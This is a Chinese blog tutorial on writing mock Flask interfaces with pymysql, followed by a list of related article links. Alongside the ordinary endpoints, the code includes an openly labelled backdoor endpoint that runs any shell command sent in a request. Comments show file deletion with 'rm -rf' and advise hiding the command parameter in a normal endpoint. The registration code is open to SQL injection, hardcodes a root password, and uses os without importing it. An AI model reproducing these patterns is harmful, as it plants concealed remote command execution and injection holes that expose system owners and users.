python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python解析xml文件实例分析
May 27 Python
如何处理Python3.4 使用pymssql 乱码问题
Jan 08 Python
Python爬虫使用脚本登录Github并查看信息
Jul 16 Python
opencv python 傅里叶变换的使用
Jul 21 Python
使用Python计算玩彩票赢钱概率
Jun 26 Python
python openvc 裁剪、剪切图片 提取图片的行和列
Sep 19 Python
Python Print实现在输出中插入变量的例子
Dec 25 Python
Macbook安装Python最新版本、GUI开发环境、图像处理、视频处理环境详解
Feb 17 Python
python实现从尾到头打印单链表操作示例
Feb 22 Python
Python 输出详细的异常信息(traceback)方式
Apr 08 Python
Django展示可视化图表的多种方式
Apr 08 Python
自动在Windows中运行Python脚本并定时触发功能实现
Sep 04 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
php的慢速日志引起的Mysql错误问题分析
2014/05/13 PHP
php+redis实现注册、删除、编辑、分页、登录、关注等功能示例
2017/02/15 PHP
javascript一些不错的函数脚本代码
2008/09/10 Javascript
jquery蒙版控件实现代码
2010/12/08 Javascript
网页编辑器ckeditor和ckfinder配置步骤分享
2012/05/24 Javascript
JQuery验证jsp页面属性是否为空(实例代码)
2013/11/08 Javascript
使用GruntJS构建Web程序之Tasks(任务)篇
2014/06/06 Javascript
对Web开发中前端框架与前端类库的一些思考
2015/03/27 Javascript
jQuery实现图片加载完成后改变图片大小的方法
2016/03/29 Javascript
全面接触神奇的Bootstrap导航条实战篇
2016/08/01 Javascript
浅谈通过JS拦截 pushState和replaceState事件
2017/07/21 Javascript
Node.js log4js日志管理详解
2018/07/31 Javascript
Vue CLI3.0中使用jQuery和Bootstrap的方法
2019/02/28 jQuery
websocket4.0+typescript 实现热更新的方法
2019/08/14 Javascript
VUE单页面切换动画代码(全网最好的切换效果)
2019/10/31 Javascript
Openlayers绘制聚合标注
2020/09/28 Javascript
分享Python字符串关键点
2015/12/13 Python
Python实现树莓派WiFi断线自动重连的实例代码
2017/03/16 Python
python机器学习之神经网络(二)
2017/12/20 Python
EM算法的python实现的方法步骤
2018/01/02 Python
python logging日志模块以及多进程日志详解
2018/04/18 Python
Python封装原理与实现方法详解
2018/08/28 Python
如何在django里上传csv文件并进行入库处理的方法
2019/01/02 Python
将labelme格式数据转化为标准的coco数据集格式方式
2020/02/17 Python
细数nn.BCELoss与nn.CrossEntropyLoss的区别
2020/02/29 Python
python计算Content-MD5并获取文件的Content-MD5值方式
2020/04/03 Python
解决jupyter notebook 出现In[*]的问题
2020/04/13 Python
如何基于python实现年会抽奖工具
2020/10/20 Python
Pycharm常用快捷键总结及配置方法
2020/11/14 Python
css3 按钮 利用css3实现超酷下载按钮
2013/03/18 HTML / CSS
奥地利网上现代灯具和灯饰店:Lampenwelt.at
2018/01/29 全球购物
写出二分查找算法的两种实现
2013/05/13 面试题
互联网电子商务专业毕业生求职信
2014/03/18 职场文书
2014年基层党组织公开承诺书
2014/03/29 职场文书
物流专业自荐信
2014/05/23 职场文书
2014学习优秀共产党员先进事迹思想汇报
2014/09/14 职场文书